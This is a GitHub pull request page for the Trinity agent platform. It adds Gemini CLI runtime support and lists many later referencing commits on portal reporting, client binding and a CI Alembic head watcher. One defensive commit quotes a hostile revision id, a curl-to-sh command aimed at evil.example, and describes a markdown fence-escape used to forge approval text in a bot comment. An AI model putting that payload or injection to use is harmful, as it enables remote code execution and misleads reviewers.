Feature/gemini runtime support - #2
Merged
Merged
Conversation
Implements runtime adapter pattern to support both Claude Code and Gemini CLI, enabling cost optimization and provider flexibility. Key Changes: - Created AgentRuntime interface for runtime abstraction - Implemented ClaudeCodeRuntime (wraps existing code) - Implemented GeminiRuntime with MCP translation - Added runtime selection to AgentConfig model - Updated Dockerfile to install Gemini CLI - Added GOOGLE_API_KEY environment variable support - Created test-gemini template for validation Features: - Seamless runtime switching per agent - Unified cost/token tracking across providers - MCP tool support for both runtimes - 1M token context window for Gemini (5x Claude) - Free tier support (60 req/min for Gemini) Documentation: - Added docs/GEMINI_SUPPORT.md with setup guide - Updated README.md with multi-runtime info - Included gemini-research-summary.md for technical details Backward Compatibility: - Defaults to claude-code if runtime not specified - Existing agents continue working unchanged - No breaking changes to API or templates
Code review fixes: - state.py: Added runtime_available check for both Claude/Gemini - state.py: Dynamic context window based on runtime (1M for Gemini) - chat.py: Fixed parallel task endpoint to use runtime adapter - chat.py: Fixed WebSocket handler to use runtime adapter - chat.py: Model validation now supports Gemini model names - __init__.py: Export get_runtime and AgentRuntime - info.py: Health endpoint now reports runtime info - main.py: Log runtime info on startup - agents.py: Extract runtime config from template.yaml - docker-compose.yml: Add GOOGLE_API_KEY env var for backend Runtime adapter improvements: - Added execute_headless method to AgentRuntime interface - Implemented execute_headless in both ClaudeCodeRuntime and GeminiRuntime - Better error handling and timeout support for headless tasks
Updated key documentation files: - DEPLOYMENT.md: Added GOOGLE_API_KEY configuration section - TRINITY_COMPATIBLE_AGENT_GUIDE.md: - Added runtime field to template.yaml schema - New 'Runtime Options' section with comparison table - Environment requirements per runtime - changelog.md: Added 2025-12-28 entry for Gemini integration - requirements.md: - Added Section 12: Multi-Runtime Support (3 requirements) - Removed 'Claude only' from Out of Scope section
Introduces formal semantic versioning for Trinity: New files: - VERSION: Contains current version (0.9.0) - docs/VERSIONING_AND_UPGRADES.md: Comprehensive upgrade guide Changes: - build-base-image.sh: Now tags images with version number - main.py: Added /api/version endpoint - README.md: Link to versioning docs Versioning strategy: - Semantic versioning (MAJOR.MINOR.PATCH) - All components share single version number - Docker images tagged with version + latest - Version endpoint for runtime queries This establishes v0.9.0 as the Gemini support release.
Changed logger.warning() to print() for consistency with the rest of the file. This was causing 500 errors when creating Gemini agents.
Added 1-second delay and container.reload() after container creation to ensure Docker reports the correct 'running' status before broadcasting to the frontend. Previously, the status was checked too quickly after container.run(), resulting in a transitional state being reported.
WebSocket 'agent_created' event was adding agent to list even when the API response had already added it. Now checks if agent exists before adding from WebSocket event.
Gemini CLI expects the environment variable GEMINI_API_KEY, not GOOGLE_API_KEY. Updated agent creation to pass the correct name.
- Remove push from createAgent() to avoid race condition - WebSocket 'agent_created' event is now the single source for adding agents - Keep duplicate check in WebSocket handler for reconnection safety
Gemini CLI outputs {'type':'message','role':'assistant','content':'...'}
for responses, not the format we originally expected. Also fixed stats
parsing from 'stats' field instead of 'usage'.
Gemini CLI outputs tool_use and tool_result at the top level, not nested inside assistant/user messages like Claude Code. Added handling for both formats to support tool execution tracking.
Sometimes Gemini CLI returns success with no assistant message content. Instead of throwing a 500 error, return a placeholder response.
When Gemini executes a tool but doesn't output an assistant message, use the tool result output as the response instead of '(Task completed)'. This provides more useful feedback to the user. Also added debug logging for stream parsing and saved refactoring plan.
- Make trinity_mcp.py runtime-aware (Claude .mcp.json vs Gemini CLI) - Add _inject_gemini_mcp() for gemini mcp add commands - Add configure_mcp_servers() shared function - Simplify GeminiRuntime.configure_mcp() to use shared impl - Add output field to ExecutionLogEntry model - Document CLAUDE.md usage for both runtimes - Add template priority for UI ordering - Update GEMINI_APPLICATIONS.md status to implemented
Renamed: docs/development/GEMINI_APPLICATIONS.md
-> docs/memory/feature-flows/gemini-runtime.md
Clearer naming and consistent with other feature flow docs.
- Add GEMINI_PRICING constants for different models - Add calculate_gemini_cost() function - Calculate estimated cost from token usage in result parsing - Gemini free tier shows what costs *would* be for comparison
- Add runtime field to AgentStatus model - Extract runtime from container env vars in docker_service.py - Add computed availableModels based on agent.runtime - Show Gemini models for gemini-cli agents - Show Claude models for claude-code agents - Dynamic tooltip based on runtime
- Add gemini-3-pro and gemini-3-flash to UI model selector - Add estimated pricing for Gemini 3 models
Source: ai.google.dev/pricing (Dec 2024) - Gemini 3 Pro: $2.00/1M in, $12.00/1M out - Gemini 3 Flash: $0.50/1M in, $3.00/1M out - Gemini 2.5 Pro: $1.25/1M in, $10.00/1M out - Gemini 2.5 Flash: $0.30/1M in, $2.50/1M out - Gemini 2.0 Flash: $0.10/1M in, $0.40/1M out - Gemini 2.0 Flash Lite: $0.075/1M in, $0.30/1M out
- Add ADMIN_USERNAME env var support in database.py - Add stub functions for plan/task helpers in Agents.vue - Whitespace cleanup across multiple files
- Add multi-runtime capability to welcome page - Add Google API key to prerequisites (free tier!) - Update agent creation to mention runtime selection - Add runtime comparison table to Core Concepts - Update checklist with both API key options - Add link to Gemini Support Guide - Include testing docs folder
- Chat endpoint now uses agent_state.current_model when request.model is None - WebSocket endpoint also respects model from message or state - Ensures model selector dropdown actually affects which model is used
- 001: Claude context window shows incorrect values (understated by 20-30x) - 002: Unified context reporting interface across runtimes - README: Backlog structure and guidelines for AI agents
Resolves conflicts: - docs/memory/changelog.md: Merged Gemini entries chronologically - src/backend/routers/agents.py: Use main's service layer, added multi-runtime to service - src/frontend/src/views/AgentDetail.vue: Use main's Terminal tab, added model selector computed Multi-runtime support: - Added runtime config extraction in agent_service/crud.py - Added runtime config extraction in agent_service/deploy.py - Added AGENT_RUNTIME, AGENT_RUNTIME_MODEL, GEMINI_API_KEY env vars - Added trinity.agent-runtime Docker label - Added runtime-aware model selector in AgentDetail.vue
oleksandr-korin
pushed a commit
that referenced
this pull request
Dec 28, 2025
Bug #1: Terminal session lost when switching tabs - Changed v-if to v-show for terminal tab content in AgentDetail.vue - Keeps terminal component mounted, preserving WebSocket connection Bug #2: MCP deploy_local_agent only copied CLAUDE.md - Updated startup.sh to copy ALL template files instead of hardcoded list - Now includes template.yaml and custom directories (src/, lib/, etc.) - Added .trinity-initialized marker to prevent re-copying on restart 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
- Write directly to ~/.gemini/settings.json instead of using 'gemini mcp add' - Workaround for Gemini CLI bug where --transport http creates invalid 'type' field - Enables Trinity MCP tools (chat_with_agent, etc.) for Gemini agents
- Create schedule_execution records for manual tasks via /api/agents/{name}/task
- Track success/failure status, response, cost, and tool calls
- Makes manual tasks visible in the Tasks panel UI alongside scheduled tasks
dolho
added a commit
that referenced
this pull request
Aug 21, 2026
…ich had never fired (ent#430)
Slice 5, the gate: until this ships, ent#429's surface records answers nobody
acts on. Wiring it up found that nobody was acting on the OPERATOR's answers
either.
## ent#329's respond→resume has never once run
`operator_resume_service` did `from services.task_execution_service import
task_execution_service`. That module exports `get_task_execution_service()` and
no such singleton, so the import raised — and it sits ABOVE the function's first
`try`, inside a coroutine handed to `create_task`, so it died as an unretrieved
task exception. No audit row, no FAILED execution row, no log anyone reads.
Every operator answer since ent#329 merged has been recorded and woken nothing.
Its suite was green because the fixture supplied the missing name:
monkeypatch.setitem(sys.modules, "services.task_execution_service",
SimpleNamespace(task_execution_service=recorder))
The stub INVENTS the very attribute whose absence is the bug, so the import
under test became unfalsifiable — the stub defined the contract instead of
checking it. The module's own docstring says "Never silent."
Fixed in three places, because one would have left the class open:
* the import, to the accessor other callers already use
(`adapters/message_router.py:33`);
* the stub, to mirror the real API — plus
`test_the_stub_mirrors_the_real_module`, which parses this module's
`ImportFrom` nodes and asserts every name exists on the GENUINE module with
no stub in scope. It fails on the old import, naming it;
* `spawn_resume_dispatch`, which now logs any non-cancelled task exception.
"Never silent" is a property you build, not a sentence you write.
## The slice itself
The Workspace answer dispatches through `spawn_resume_dispatch` on the CAS win —
ent#329's ONE surface, no workspace-specific execution path (AC #1, #2).
AC #3 is CONFIRMED, not built: the opt-in is per AGENT
(`operator_resume_enabled`, default OFF, and an unreadable flag reads as "not
opted in", never "spend"). ent#329 chose that deliberately so an agent cannot
decide that answering costs the answerer money — which matters most when the
answerer is an external client, i.e. here.
The framed message now states WHO answered. It said "An operator answered"
regardless, while this module's own audit note already anticipated a client
("the answer can carry whatever a Workspace client typed"). An agent may
reasonably weigh an operator's instruction differently from a client's, so the
wrong one is a false warrant rather than a cosmetic slip. An unknown kind falls
back to the CLIENT framing — the less privileged of the two, so a typo cannot
promote anyone.
## Two bugs in this wiring, caught by its own tests
`spawn_resume_dispatch` needs a running loop, and the portal answer route was
`def` — FastAPI runs those in a threadpool, so it raised `RuntimeError: no
running event loop` AFTER committing the answer: a 500 on a successful answer.
Both the route and the service are now async, matching
`routers/operator_queue.py::respond_to_queue_item`, which is async for exactly
this reason. And the async conversion missed multi-line `def test_(...)`
signatures, which the collector caught as a SyntaxError.
## Not done, deliberately
AC #4 says to flip the feature flag on. There is no asks feature flag — `grep`
finds none anywhere — so the criterion refers to something that was never built.
Saying so beats inventing a gate nobody asked to operate.
AC #5 needs a decision recorded rather than code: a dispatch failure does NOT
mean the answer was lost. It is committed, and the 5s sync loop still delivers
it on the agent's next tick; this dispatch is the ACCELERATION for an agent with
no next tick. So the ask reading as resolved is correct, and telling the client
their answer failed would be the false statement. The failure is visible to the
operator — FAILED row, audit entry, and now the log line above.
Slice: 741 passed, 1 skipped. 6 of the new cases fail without this wiring.
Related to ent#430.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
This was referenced Aug 24, 2026
dolho
added a commit
that referenced
this pull request
Aug 25, 2026
…457 AC#3) "Dispatch → monitor → report back is a contract, not a habit" — the issue's words. The machinery has existed since ent#224/#265 for Slack and Telegram: a terminal chokepoint (#1578), a destination on the row (ent#117), a resolver per channel, an effect guard for at-most-once. The Workspace was excluded by ONE missing field. #2157 stamped portal executions with the SURFACE (`source_channel = "portal"`) and never a destination, so every portal terminal died at `report_completion`'s `if not source_channel_chat_id` gate. This gives the row its session id at both creation sites (#2157 FR-7's rule: both, or which path made the row decides whether the promise holds) and adds a portal resolver. Delegated work then inherits the destination through the EXISTING ent#265 chain — no new inheritance, no new transport, no new table. Two rules carried over deliberately, because both are the ways this goes wrong: * **No double-post.** A Workspace turn is synchronous — `portal_chat` persists the reply itself — so `public` joins INLINE_CHANNEL_TRIGGERS. Without it every chat message would gain a duplicate "done". Public links and x402 share that trigger and are unaffected: they carry no chat id, so they never reach the check. * **The recipient comes from the session row, not the stamp.** The stamp is a string that rode an inheritance chain; the session row is the platform's own record of whose chat this is. A delegated child may execute as a different agent (A asks B) — the message is filed under A, whose chat it is, and names B in the body. Consent is by construction, as for a Telegram DM: the session belongs to one client and the report goes into their own conversation, so there is no third party and no flag to consult. Delivery is a persisted assistant message read through the history the client already polls, which is why AC #7's "degrades to poll" holds here with no new transport. **This supersedes half of a #2157 invariant, deliberately.** `test_portal_source_channel_is_not_a_messaging_channel` asserted the portal must miss BOTH the voice service's supported set and `_CHANNEL_RESOLVERS`. The voice half is permanent — there is no outbound audio leg. The completion half was true only because the row carried no destination, which is precisely what ent#457 (operator ruling 2026-08-22, committed to the release cut) changes. The guard is narrowed to what remains true and now also pins the no-double-post rule; the reasoning is in the test, not only in this message. Verified live: a delegated portal execution posts "**Finished** — Reconciled 42 invoices…" into the client's thread; a second call delivers nothing (the effect guard holds, still one message); the turn's own `public` execution reports nothing at all. Scope: this is AC #3 only. The execution card and pipeline view (AC #1/#2) are gated on AC #5's design pass, which is published separately for review — no card code until it is approved. Related to Abilityai/trinity-enterprise#457 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
dolho
added a commit
that referenced
this pull request
Aug 25, 2026
…457 AC#3) "Dispatch → monitor → report back is a contract, not a habit" — the issue's words. The machinery has existed since ent#224/#265 for Slack and Telegram: a terminal chokepoint (#1578), a destination on the row (ent#117), a resolver per channel, an effect guard for at-most-once. The Workspace was excluded by ONE missing field. #2157 stamped portal executions with the SURFACE (`source_channel = "portal"`) and never a destination, so every portal terminal died at `report_completion`'s `if not source_channel_chat_id` gate. This gives the row its session id at both creation sites (#2157 FR-7's rule: both, or which path made the row decides whether the promise holds) and adds a portal resolver. Delegated work then inherits the destination through the EXISTING ent#265 chain — no new inheritance, no new transport, no new table. Two rules carried over deliberately, because both are the ways this goes wrong: * **No double-post.** A Workspace turn is synchronous — `portal_chat` persists the reply itself — so `public` joins INLINE_CHANNEL_TRIGGERS. Without it every chat message would gain a duplicate "done". Public links and x402 share that trigger and are unaffected: they carry no chat id, so they never reach the check. * **The recipient comes from the session row, not the stamp.** The stamp is a string that rode an inheritance chain; the session row is the platform's own record of whose chat this is. A delegated child may execute as a different agent (A asks B) — the message is filed under A, whose chat it is, and names B in the body. Consent is by construction, as for a Telegram DM: the session belongs to one client and the report goes into their own conversation, so there is no third party and no flag to consult. Delivery is a persisted assistant message read through the history the client already polls, which is why AC #7's "degrades to poll" holds here with no new transport. **This supersedes half of a #2157 invariant, deliberately.** `test_portal_source_channel_is_not_a_messaging_channel` asserted the portal must miss BOTH the voice service's supported set and `_CHANNEL_RESOLVERS`. The voice half is permanent — there is no outbound audio leg. The completion half was true only because the row carried no destination, which is precisely what ent#457 (operator ruling 2026-08-22, committed to the release cut) changes. The guard is narrowed to what remains true and now also pins the no-double-post rule; the reasoning is in the test, not only in this message. Verified live: a delegated portal execution posts "**Finished** — Reconciled 42 invoices…" into the client's thread; a second call delivers nothing (the effect guard holds, still one message); the turn's own `public` execution reports nothing at all. Scope: this is AC #3 only. The execution card and pipeline view (AC #1/#2) are gated on AC #5's design pass, which is published separately for review — no card code until it is approved. Related to Abilityai/trinity-enterprise#457 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
dolho
added a commit
that referenced
this pull request
Aug 26, 2026
Review blocking #2 (@obasilakis), and the finding was exact: nothing bound the destination session to the client who started the parent turn. The inheritance guard that lets a child carry a portal context checks the AGENT — `_inherited_channel_context` refuses only when parent_agent != agent_principal. So for an agent A shared with clients X and Y, A serving Y could pass the execution id of one of X's portal turns: same agent, guard passes, the child inherits X's session, and its terminal files a body A chose into X's permanent thread. A holds both clients' data, so it is a disclosure between two different people — and it went live with this PR, since portal rows carried no chat id before it. The client identity now rides WITH the context instead of being re-derived from it: a new nullable `schedule_executions.source_channel_client`, stamped at both portal creation sites, inherited alongside the other three channel columns, and checked in `_resolve_portal` against the session's own `client_email`. `source_user_email` was rejected as the carrier: routers/public_memory.py reads it to decide whose MEM-001 memory blob a turn writes into, so overloading it would silently redirect memory writes. Fails CLOSED. Every row predating the column reports NULL, and `_norm_email` maps a missing value on either side to '' so 'unknown == unknown' can never read as agreement. Case- and padding-insensitive, so a legitimate report is never refused over the shape of an address. `context_client` is passed to EVERY resolver, not to the portal one alone — a per-channel call shape is how a resolver ends up silently not receiving a field that was added for it. The channel legs ignore it: their destination is a chat id on someone else's server, not a per-person thread this platform owns. Dual-track: sqlite channel_report_client + alembic 0047 (single head, verified). Blocking #1 (sanitization) was already fixed in 5fdc224, after the review. 452 passed across the channel, chat-execution and portal suites. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
dolho
added a commit
that referenced
this pull request
Aug 26, 2026
Review blocking #2 (@obasilakis), and the finding was exact: nothing bound the destination session to the client who started the parent turn. The inheritance guard that lets a child carry a portal context checks the AGENT — `_inherited_channel_context` refuses only when parent_agent != agent_principal. So for an agent A shared with clients X and Y, A serving Y could pass the execution id of one of X's portal turns: same agent, guard passes, the child inherits X's session, and its terminal files a body A chose into X's permanent thread. A holds both clients' data, so it is a disclosure between two different people — and it went live with this PR, since portal rows carried no chat id before it. The client identity now rides WITH the context instead of being re-derived from it: a new nullable `schedule_executions.source_channel_client`, stamped at both portal creation sites, inherited alongside the other three channel columns, and checked in `_resolve_portal` against the session's own `client_email`. `source_user_email` was rejected as the carrier: routers/public_memory.py reads it to decide whose MEM-001 memory blob a turn writes into, so overloading it would silently redirect memory writes. Fails CLOSED. Every row predating the column reports NULL, and `_norm_email` maps a missing value on either side to '' so 'unknown == unknown' can never read as agreement. Case- and padding-insensitive, so a legitimate report is never refused over the shape of an address. `context_client` is passed to EVERY resolver, not to the portal one alone — a per-channel call shape is how a resolver ends up silently not receiving a field that was added for it. The channel legs ignore it: their destination is a chat id on someone else's server, not a per-person thread this platform owns. Dual-track: sqlite channel_report_client + alembic 0047 (single head, verified). Blocking #1 (sanitization) was already fixed in 5fdc224, after the review. 452 passed across the channel, chat-execution and portal suites. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
6 tasks
6 tasks
dolho
added a commit
that referenced
this pull request
Sep 1, 2026
AC #2 — before/after from the runners rather than from a workstation. First parallel run of the six-shard matrix (33498960688): 8.1m 8.6m 8.7m 9.0m 9.0m 17.5m (all SUCCESS) Median 15m -> 9.0m. The 17.5m shard is the load-bearing one: it is the same ~2x runner variance that used to produce the 45m cancels, now landing well inside the cap. Worst starvation seen historically was >=3x (15m of work not finishing in 45m); 3x of 9m is 27m, clearing the cap by 18 minutes.
This was referenced Sep 2, 2026
This was referenced Sep 7, 2026
vybe
pushed a commit
that referenced
this pull request
Sep 8, 2026
…#2590) * docs(ci): requirements + Invariant #3 for the pre-merge Alembic head watcher (#2533) Requirements-first (Rule #1) for the #2533 watcher. `requirements/infrastructure.md` gains §8.11 (HEADW-001..010): the defect is STALENESS, not a checkout bug — `schema-parity`'s single-head guard runs unconditionally and `actions/checkout` already resolves `refs/pull/N/merge`, so it tests the merge result correctly. GitHub recomputes that ref when the base advances but does not re-trigger workflows, so #2526's last green run described a base that no longer existed. `architecture.md` Invariant #3 gains two sentences on the same point, amending the "One head per version-line (#2068)" passage rather than restating the fork mechanics already documented there. Doc tier called explicitly: this is a NEW CAPABILITY, not Rule #4's "bug fix: commit message only" — the deliverable is a new always-on CI service with a new PR-facing signal and a new permission scope. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * ci(alembic): re-check open migration PRs against the live dev tip (#2533) #2526 merged carrying an Alembic head fork that every pre-merge signal reported as clean. Not a checkout bug: `schema-parity` runs the single-head guard unconditionally and `actions/checkout` already resolves `refs/pull/N/merge`, so the guard was testing the merge result and was correct. It was STALE — that run happened 75 minutes before the competing revision landed on `dev`, and GitHub recomputes the merge ref when the base advances without re-triggering workflows. `alembic-head-watch.yml` re-runs `scripts/ci/check_alembic_heads.py` — UNCHANGED — over an in-memory merge of each open migration PR against the live `dev` tip. The trigger is the precise one: a push to `dev` touching `src/backend/migrations/versions/**` is the exact moment every open migration PR's last green run is invalidated. The 6-hourly cron is a dropped-run backstop (and fires only from `main`, since `schedule:` runs from the default branch). `git merge-tree --write-tree` makes no commit and touches neither the working tree nor the index, so this workflow structurally cannot push; its exit contract (0 clean / 1 conflict / else error) distinguishes a conflicting PR from an infrastructure failure natively, avoiding the `--diff-filter=U` heuristic #1941 got wrong. Because the PR is never checked out and the only PR bytes on disk are revision files read by `ast.parse`, no PR-authored code executes — which is why this is one job rather than backend-unit-nightly.yml's three-job split. Reporting is idempotent in both directions: a commit status (the alarm at the merge click) plus one marker-keyed sticky comment (the diagnosis). A clean PR never gains a sticky; `conflict` and `unknown` publish no status, because a false all-clear on a check that never ran is the #2029 failure. Advisory by design and never a required context — the pg-migrations precedent. The `pull_request` arm is a dry-run self-test: `workflow_dispatch` cannot reach a workflow that exists only on a feature branch, so without it a change here would be unverifiable until after it merged. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * test(ci): guard the Alembic head watcher's load-bearing properties (#2533) 36 tests. Static guards over the workflow in the shape of test_1941_nightly_merge_depth.py / test_2462_nightly_budget.py, with every string assertion run against the YAML with COMMENT LINES STRIPPED — this workflow's own header says it "cannot push" and "never checks out the PR", so a naive substring search matches the prose and passes while the shell does the opposite. Pinned: the push trigger stays restricted to `dev` + the version line; the pull_request arm stays path-filtered and DRY_RUN-gated; no write-side git command appears anywhere; merge-tree's conflict and error arms stay distinguished; fetch-depth stays 0 (#1941, third workflow); both version lines reach the guard; the enterprise arm stays guarded against absence; a forked `dev` evaluates no PR; a sweep that produces nothing fails the run. The verdict module is EXECUTED, not grepped — it is the one path that can publish a green tick for a check that never ran. Includes the coupling neither file can see: the guard's real output, produced by running check_alembic_heads.py on a reconstruction of #2526's fork, is fed to parseGuardOutput, and the resulting fix instruction is asserted to name `0050_agent_canvases` — what #2526 actually did. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(ci): close the nine review findings on the Alembic head watcher (#2533) Three independent reviews (autoplan strategy, autoplan engineering with mutation testing, and Codex gpt-5.5 adversarially) returned "ship with changes". These are the nine, ordered by what they could do to a run. M1 — the self-test could not run at all. The verdict module is require()d from the workspace, and the workspace is dev, so `alembic-head-verdict.js` was never exercised by the arm that exists to exercise it — and on the PR that ADDS the file the baseline step hard-failed with "missing from dev". A second SPARSE checkout of scripts/ci into a side path supplies the PR's copy, gated on `pull_request` AND same-repo. The python guard is never sourced this way: it is the assertion dev enforces. M2/M2b — `tree=$(git merge-tree … | head -1); rc=$?` read merge-tree's exit only because pipefail survives `set +e`; without it a CONFLICTING PR was classified clean and published a green status for a check that never ran. Streams now go to files: no pipeline, no SIGPIPE, stderr preserved for the warning. That also gives M2b's discriminator free — measured on git 2.50.1, an unresolvable ref exits 1 with EMPTY stdout while a real conflict exits 1 with the merged tree's OID, so exit 1 alone answered an infrastructure fault by telling an innocent author their PR conflicts. M3 — the dev_head parse ran under `set -euo pipefail`; a reworded guard line made grep exit 1 and killed the step on a healthy dev, while the `<unparsed>` fallback written for that case never printed. `|| true`. M4 — `cancel-in-progress: false` does not queue; GitHub evicts the pending run. Harmless between two push runs (a later sweep subsumes an earlier one), not harmless across events: a dry-run self-test could silence a real push run. Group keyed on the event. M5 — six of eight load-bearing mutations survived the suite. Added guards for the DRY_RUN read AND its pass-through, the bot-author filter, pagination, the merge-tree error arm (scoped to the evaluate step, not every run: block), the 500-file cap, the no-pipe rule, the symlink sweep, and the M1/M7/M8 wiring. 19/19 mutations now killed. M7 — one try/catch wrapped the status, the comment guard and both comment calls. A throwing status call skipped the comment entirely, so on `fork` — the one outcome this exists to be seen on — the human saw nothing and the run passed. Separate try/catch per signal; setFailed when neither published. M8 — `footer()` embeds this run's URL, so `sticky.body === v.comment.body` was never true and "skipped when unchanged" was unimplementable. Compare through `stickyBodiesMatch`, which normalises the run id away. M9 — `git archive` can emit symlinks and the guard read_text()s every *.py it globs; a link at an unbounded source can hang or OOM a job holding write scopes. Disclosure was already closed (ids and filenames only reach output); this closes the resource path, in the workflow rather than the guard. 88 passed, 2 skipped; actionlint rc=0. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(ci): correct HEADW-003/006/008/009 to what the watcher actually does (#2533) M6 was a doc claiming a control that does not exist: §8.11 said extraction is "capped (500 files / 5 MB)". Only the file cap shipped, and it bounds PARSING, not extraction — the tree is already on disk by then and bounded by the repo. The rest of this is the same class, caught while fixing the code: - HEADW-003 asserted git's exit contract as "0 clean / 1 conflicts / anything else error". Measured on git 2.50.1, exit 1 is OVERLOADED — an unresolvable ref exits 1 with empty stdout, a real conflict exits 1 with the merged tree's OID. Records the tree OID as the discriminator, the file redirect that removes the pipefail dependency, and the symlink sweep. - HEADW-006 promised a sticky "skipped when unchanged"; the footer's run URL made that unreachable. Records the normalised comparison, and M7's separate failure domains for the status and the comment. - HEADW-008/009 said "the PR is never checked out", which stops being true verbatim once the self-test sources its own scripts/ci. Records the narrower true statement — the guard's workspace is dev only — and the same-repo gate. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(flows): record where the Alembic head guard's freshness comes from (#2533) /sync-feature-flows: NO new flow doc, and the precedent is written down rather than inferred — database-migration-runner.md's Related Flows already covers this guard and says in as many words "No flow doc of its own: the mechanism is one stdlib script". The index's own scope is UI → API → Database → Side Effects, which a CI workflow has none of. So the delta is to amend that paragraph, which had become misleading: it named `schema-parity` as the pre-merge guard without saying that run is fresh only at PR-event time. Someone triaging a fork that shipped green would read it and conclude the guard had failed, when it had merely aged. Index row added anyway (the "always add a row" rule), pointing at the flow it amends. Noted, not acted on (Rule #2, pre-existing): Recent Updates is at 117 rows against #1360's ~20 cap, and the index is 522 lines against the skill's 400. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(ci): treat every value the head-watch comment renders as attacker-controlled (#2533) /review + /cso --diff on the branch. Both reviews landed on one real defect, in the new verdict module rather than the workflow. `alembic-head-verdict.js` renders two values that come out of the PR's OWN revision files — `revision = "<any string>"` and the committed filename — into a comment authored by `github-actions[bot]`. On a public repo any fork author picks them, and the fork arm is exactly the path that fires. Proven by execution against the real guard before the fix: * `revision = "$(curl${IFS}-s${IFS}http://evil.example/x|sh)"` survived `parseGuardOutput`'s `\S+` capture into the `alembic merge` suggestion — a command the comment invites a maintainer to paste into a shell. * An id carrying a newline plus a triple backtick closed the hard-coded fence around the quoted guard output, putting attacker markdown ("**Reviewed and approved — safe to merge.**") into the bot's comment. Neither is code execution on the runner — revision files are only ever `ast.parse`d (HEADW-008) — both are the comment being made to say something its author did not write, which is the only reason anyone trusts it. * `isSafeRevisionId` gates interpolation into the pasteable command on `^[A-Za-z0-9._-]{1,255}$` (Alembic's own width, Invariant #3); anything else degrades to the generic `<head-a> <head-b>` placeholder. Nothing diagnostic is lost — the verbatim guard output above it still names the real ids. * `fenced()` opens the quoted block with one backtick more than the longest run inside it. CommonMark closes on the first run >= the opening fence, so a hard-coded ``` is escapable by any input that contains one. Also: the `fork` comment now says when it clears, the way `conflictBody` already did. Without it an author who rechains and pushes sees a stale warning until the next push to `dev` (their own push does get a fresh, correct `schema-parity` run — it is the sticky that lags). Tests: 3 added, all three mutation-killed, including the control that proves an ordinary fork still gets a runnable `alembic merge 0050_a 0050_b`. Built end-to-end through the real `check_alembic_heads.py`, since the hostile ids have to survive its formatting before they reach the module. 57 passed (was 54); `test_2068_alembic_heads_guard.py` unchanged and green. Docs: HEADW-011 in requirements/infrastructure.md; a learnings entry for the class (CI that comments on a PR is a rendering surface for PR-controlled text). Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(ci): order HEADW-010 before HEADW-011 (#2533) HEADW-011 was appended when the attacker-controlled-rendering finding landed and took 010's slot, leaving the numbered list out of order. No content change to either requirement. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 5 <noreply@anthropic.com> Co-authored-by: sim <sim@example.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
No description provided.